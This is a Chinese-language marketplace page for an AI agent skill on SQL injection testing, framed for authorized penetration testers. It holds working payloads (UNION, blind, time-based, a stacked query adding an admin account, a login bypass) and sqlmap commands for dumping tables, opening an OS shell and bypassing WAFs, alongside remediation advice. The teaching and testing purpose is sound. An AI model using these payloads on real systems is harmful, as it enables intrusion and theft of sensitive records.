mcpField
E
exploiting-sql-injection-vulnerabilities

exploiting-sql-injection-vulnerabilities

github.com/mukul975安全35.2k511 次安装8 周前更新
代码仓库

关于 exploiting-sql-injection-vulnerabilities

面向授权渗透测试人员的 SQL 注入评估技能,涵盖注入点发现、数据库识别、影响验证和修复报告,并使用 Burp Suite Professional 与 sqlmap。仅应在明确授权范围内使用。

主要功能

  1. 01发现不同请求位置的注入点
  2. 02识别数据库类型与版本
  3. 03手动验证注入方式
  4. 04使用 sqlmap 检测与验证
  5. 05记录影响并提出修复

适用场景

  1. 01审计 Web 应用输入参数
  2. 02验证参数化查询与输入校验
  3. 03评估 WAF 及过滤规则
  4. 04为注入漏洞整理修复建议

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-sql-injection-vulnerabilities

安装后在 Claude Code 中输入/exploiting-sql-injection-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用 SQL 注入漏洞

何时使用

  • 在获得授权的渗透测试中,测试 Web 应用程序输入参数是否存在 SQL 注入漏洞
  • 验证参数化查询和输入清理是否在所有数据库交互中正确实现
  • 通过提取敏感数据,展示已确认的 SQL 注入漏洞的业务影响
  • 验证 WAF 规则和输入验证控制能否有效拦截 SQL 注入 payload
  • 测试企业应用程序中的存储过程、动态 SQL 和 ORM 绕过场景

请勿在未获得书面授权的情况下针对数据库使用,不得提取或窃取超出概念验证所需的真实客户数据,也不得针对可能因利用而导致数据完整性受损的生产数据库使用。

前提条件

  • 书面授权,明确指定目标应用程序和允许的利用程度(仅检测还是完整利用)
  • Burp Suite Professional 已配置为拦截代理,用于捕获和修改 HTTP 请求
  • 已安装当前版本的 sqlmap,用于自动化检测和利用
  • 了解目标数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle),或具备对其进行指纹识别的能力
  • 拥有不同权限级别的测试账户,以便在已认证环境中测试注入

工作流

第 1 步:发现注入点

识别与数据库交互的参数:

  • 映射所有输入向量:编目 URL(GET)、请求正文(POST)、HTTP 标头(Cookie、Referer、User-Agent、X-Forwarded-For)以及 JSON/XML API payload 中的每个参数
  • 基于错误的检测:向每个参数注入单引号(')并观察响应。SQL 错误(例如 "You have an error in your SQL syntax"、"unterminated quoted string"、"ORA-01756")确认该参数未经清理便到达数据库。
  • 基于布尔的检测:注入 ' AND 1=1--(真条件)和 ' AND 1=2--(假条件)。如果响应不同(内容长度不同、返回的数据不同、HTTP 状态不同),则该参数可注入。
  • 基于时间的检测:注入 '; WAITFOR DELAY '0:0:5'--(MSSQL)、' AND SLEEP(5)--(MySQL)或 '; SELECT pg_sleep(5)--(PostgreSQL)。5 秒的响应延迟确认存在注入。
  • 带外检测:使用会触发对 Burp Collaborator 域名的 DNS 或 HTTP 请求的 payload,以在无法直接观察响应的场景中确认注入。
  • 二阶注入:测试输入被存储、随后在另一个 SQL 查询中使用的注入情形(例如注册时存储的用户名,在个人资料页面上的查询中被使用)。
第 2 步:数据库指纹识别

确定数据库引擎和版本,以选择适当的利用技术:

  • 基于错误的指纹识别:每种数据库都会产生独特的错误消息。MySQL 包含 "MySQL",MSSQL 提及 "SQL Server",PostgreSQL 引用 "PG",Oracle 包含 "ORA-"。
  • 基于函数的指纹识别:注入特定于数据库的函数:
    • MySQL:' AND VERSION()-- 或 ' AND @@version--
    • MSSQL:' AND @@version-- 或 ' AND DB_NAME()--
    • PostgreSQL:' AND version()--
    • Oracle:' AND banner FROM v$version--
  • 字符串拼接差异:MySQL 使用 CONCAT('a','b') 或 'a' 'b',MSSQL 使用 'a'+'b',PostgreSQL 使用 'a'||'b',Oracle 使用 'a'||'b'
  • 注释语法:MySQL 支持 # 和 -- ,MSSQL 使用 -- ,PostgreSQL 使用 -- ,Oracle 使用 --
步骤 3:手动利用技术

使用与注入点类型相适应的方法利用已确认的注入点:

  • 基于 UNION 的提取:通过递增 ORDER BY 判断列数(' ORDER BY 1--、' ORDER BY 2-- 等,直到发生错误)。然后构造 UNION SELECT 以提取数据:
    ' UNION SELECT NULL,username,password,NULL FROM users--
    
  • 基于报错的提取(MySQL):使用 EXTRACTVALUE 或 UPDATEXML 将数据强制带入报错信息:
    ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
    
  • 布尔盲注提取:通过逐字符测试字符值来提取数据:
    ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
    
  • 基于时间的盲注提取:使用时间延迟采用相同的逐字符方法:
    ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
    
  • 堆叠查询(在支持的情况下):执行额外的 SQL 语句:
    '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
    
步骤 4:使用 sqlmap 进行自动化利用

使用 sqlmap 高效利用已确认的注入点:

  • 基本检测:sqlmap -u "https://target.com/page?id=1" --batch --random-agent 检测注入并识别数据库
  • 提取数据库:sqlmap -u "https://target.com/page?id=1" --dbs 列出所有数据库
  • 提取数据表:sqlmap -u "https://target.com/page?id=1" -D <database> --tables 列出数据表
  • 提取数据:sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 提取表内容
  • POST 参数:sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username 测试 POST 参数
  • Cookie 注入:sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 测试 Cookie 参数(用 * 标记可注入参数)
  • 操作系统命令执行(如果数据库用户具有足够权限):sqlmap -u "https://target.com/page?id=1" --os-shell 尝试通过 xp_cmdshell(MSSQL)或 INTO OUTFILE(MySQL)执行命令
  • Tamper 脚本:sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between 绕过 WAF 过滤
步骤 5:影响演示与报告

记录 SQL 注入漏洞的完整影响:

  • 数据提取证据:截取屏幕截图或 sqlmap 输出,展示提取的数据库名称、表结构和样本记录(在报告中隐去真实的 PII)
  • 身份验证绕过:使用 admin' OR 1=1-- 演示登录绕过,并记录被绕过的身份验证机制
  • 权限提升:如果数据库用户具有 DBA 权限,记录可用的额外能力(文件读写、命令执行)
  • 横向移动可能性:记录数据库服务器是否具有对其他内部系统的网络访问权限,这些系统可通过 SQLi 获得的 OS 级访问权限触及
  • 修复建议:提供具体的代码级修复方案,展示存在漏洞的查询以及修正后的参数化版本

关键概念

术语定义
SQL 注入一种代码注入技术,利用 SQL 查询中未经验证的用户输入来操纵数据库操作、提取数据或执行管理操作
联合查询注入一种注入技术,将 UNION SELECT 语句追加到原始查询中,以便在同一响应中从其他表提取数据
盲注应用程序不直接返回查询结果的注入方式;攻击者通过布尔响应或时间延迟推断数据
参数化查询一种预编译 SQL 语句,用户输入作为参数传递而非拼接进查询字符串,从而防止注入
二次注入恶意载荷被应用程序存储,并在之后的不同上下文或 SQL 查询中执行的 SQL 注入
堆叠查询在单个请求中执行以分号分隔的多条 SQL 语句,从而可通过注入执行 INSERT、UPDATE 或 DELETE 操作
WAF 绕过规避 Web 应用防火墙规则的技术,这些规则用于阻止常见 SQL 注入模式,可通过编码、替代语法或分片实现

工具与系统

  • sqlmap:自动化 SQL 注入检测与利用工具,支持 30+ 种数据库管理系统上的 6 种注入技术
  • Burp Suite Professional:HTTP 代理,用于拦截、修改和重放带有 SQL 注入载荷的请求,覆盖所有参数类型
  • Havij:基于 GUI 的 SQL 注入工具,在无法使用 sqlmap 时用于快速自动化利用
  • jSQL Injection:基于 Java 的 SQL 注入工具,带有 GUI,支持自动注入、数据库提取和文件读/写

常见场景

场景:医疗患者门户中的 SQL 注入

背景:某医疗机构的患者门户允许患者查看其病历、预约和账单信息。该应用程序使用 PHP 后端和 MySQL 数据库。测试人员拥有一个有效的患者账户。

方法:

  1. 梳理患者门户中的所有参数;发现预约详情页面使用 /appointment?id=4521
  2. 向 id 参数注入一个单引号;收到 MySQL 错误,确认该参数可注入
  3. 使用 ORDER BY 确定查询返回 7 列
  4. 构造 UNION SELECT 从 information_schema 提取表名,发现表:patients、medical_records、billing、admin_users
  5. 提取 admin_users 表,发现 5 个使用 MD5 哈希密码的管理员账户
  6. 证明通过注入点查询 medical_records 表可访问所有患者的病历
  7. 记录有 15,000+ 条包含 PHI(受保护健康信息)的患者记录可被访问,构成 HIPAA 违规

陷阱:

  • 对生产数据库使用默认设置运行 sqlmap,导致过度负载或数据损坏
  • 在评估期间提取并存储实际患者数据,而不是仅以记录数量和 schema 作为证明
  • 未测试应用程序调用的存储过程中的二次注入
  • 未测试所有参数类型(cookies、headers、JSON body),仅测试 URL 参数

输出格式

## Finding: SQL Injection in Appointment Detail Parameter

**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based

**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.

**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.

**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)

**Remediation**:
1. Replace string concatenation with parameterized queries:
   VULNERABLE:  $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   SECURE:      $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
                $stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth

评论

支持 Markdown